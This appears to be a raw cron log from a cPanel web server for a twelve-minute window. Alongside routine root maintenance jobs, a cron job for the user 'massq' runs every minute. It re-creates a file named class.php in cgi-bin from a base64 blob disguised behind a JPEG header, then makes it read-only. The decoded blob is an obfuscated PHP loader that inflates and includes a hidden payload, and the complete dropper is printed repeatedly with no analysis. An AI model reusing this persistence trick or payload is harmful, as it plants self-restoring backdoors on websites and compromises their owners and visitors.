Sep  9 21:26:01 server CROND[32419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:27:01 server CROND[348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:27:01 server CROND[350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:27:01 server CROND[349]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:27:01 server CROND[351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:28:01 server CROND[753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:28:01 server CROND[754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:28:01 server CROND[755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:29:01 server CROND[1304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:29:01 server CROND[1306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:29:01 server CROND[1305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:30:01 server CROND[1692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:30:01 server CROND[1693]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:30:01 server CROND[1695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:30:01 server CROND[1694]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:30:01 server CROND[1696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:30:01 server CROND[1697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:30:01 server CROND[1699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:30:01 server CROND[1698]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:31:01 server CROND[2544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:31:01 server CROND[2545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:31:01 server CROND[2546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:32:01 server CROND[2941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:32:01 server CROND[2943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:32:01 server CROND[2942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:33:01 server CROND[3312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:33:01 server CROND[3313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:33:01 server CROND[3314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:34:01 server CROND[3788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:34:01 server CROND[3789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:34:01 server CROND[3790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:35:01 server CROND[4183]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:35:01 server CROND[4205]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 21:35:01 server CROND[4207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:35:01 server CROND[4208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:35:01 server CROND[4210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:35:01 server CROND[4209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:35:01 server CROND[4206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:35:01 server CROND[4213]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:35:01 server CROND[4211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:36:01 server CROND[5019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:36:01 server CROND[5020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:36:01 server CROND[5021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:37:01 server CROND[5386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:37:01 server CROND[5387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:37:01 server CROND[5388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:38:01 server CROND[5761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:38:01 server CROND[5760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
